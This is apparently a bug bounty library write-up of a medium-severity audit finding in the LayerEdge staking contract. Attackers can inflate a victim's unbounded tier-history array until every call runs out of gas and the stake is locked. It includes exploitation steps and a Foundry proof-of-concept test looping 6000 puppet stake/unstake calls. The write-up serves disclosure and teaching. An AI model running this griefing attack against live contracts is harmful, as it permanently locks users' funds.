# stakerTierHistory is an unbound array that can be extended such that a user's funds are permamently lost

Unbounded stakerTierHistory array iterated on every user action lets an attacker inflate a victim's history, making withdrawals revert from gas exhaustion and locking funds.

- Payout: Audit contest
- Severity: medium
- Program: Layeredge
- Found by: 0x15
- Disclosed: 2025-05-21
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-05-layeredge-judging/issues/194
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-05-layeredge%3AM-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:solidity technique:source-review vuln:business-logic vuln:dos

**Target:** LayerEdgeStaking.sol staking contract
**Root cause:** calculateUnclaimedInterest() iterates the entire per-user stakerTierHistory array (and nested APY history) on every action; the array grows unbounded via _recordTierChange on each tier change.
**Steps:**
1. Attacker funds many puppet addresses with MIN_STAKE tokens.
2. Each puppet calls `staking.stake(MIN_STAKE)` then `staking.unstake(MIN_STAKE)`, crossing tier boundaries and appending to the victim's stakerTierHistory via _recordTierChange.
3. Repeat ~6000 times to grow victim's history.
4. Victim calls any function (e.g. `staking.getAllInfoOfUser(bob)`); calculateUnclaimedInterest loops the full array consuming ~45-87M gas, exceeding block gas limit and reverting.
5. Victim can no longer withdraw; funds permanently locked.
**How found:** Code review of calculateUnclaimedInterest() revealed full-array iteration over an unbounded, externally-growable stakerTierHistory; recognized that other users' stake/unstake actions append to a victim's history, enabling a griefing gas-bomb.
**Exploitation:** Attacker stakes/unstakes MIN_STAKE from many puppet addresses to repeatedly trigger tier changes for a target staker, bloating their stakerTierHistory. Once the array is large enough, every victim interaction reverts on gas, permanently locking their stake.
**Escalation:** Multiplicative effect: each APY change in protocol history further increases per-iteration cost, reducing the number of tier changes needed to lock a user.
**Insight:** Look for per-user arrays that are appended by other users' actions and iterated in full on every call; unbounded growth becomes a griefing DoS even without direct writes to the victim's state.

## Proof of concept (copied exactly from the original report)

**Foundry PoC gas bomb test**

```
function test_audit_gas_bomb() public {
    // NOTE must be run with high gas limit
    // forge test -vvvv --mt test_audit_gas_bomb --gas-limit 1000000000000
    address attacker = makeAddr("attackerAttacker");
    vm.startPrank(admin);
    token.transfer(attacker, MIN_STAKE * 10000);

    setupMultipleStakers(9);

    vm.startPrank(attacker);
    token.approve(address(staking), type(uint256).max);

    for (uint256 i; i < 6000; i++) {
        address puppet = makeAddr(vm.toString(100001 + i));
        vm.startPrank(attacker);
        token.transfer(puppet, MIN_STAKE);
        vm.startPrank(puppet);
        token.approve(address(staking), MIN_STAKE);
        staking.stake(MIN_STAKE);
        staking.unstake(MIN_STAKE);
    }

    // bob's user history has been appended to so many times that he can't function
    // any function he calls will revert because calculateUnclaimedInterest will take 45M gas
    uint256 gasBefore = gasleft();
    staking.getAllInfoOfUser(bob);
    uint256 gasAfter = gasleft();
    uint256 gasSpent = gasBefore - gasAfter;
    console2.log(gasSpent); // according to the log, 87M gas spent, according to the trace, 45M
    // either way, too much for bob to be able to do anything, his stake is stuck
}
```

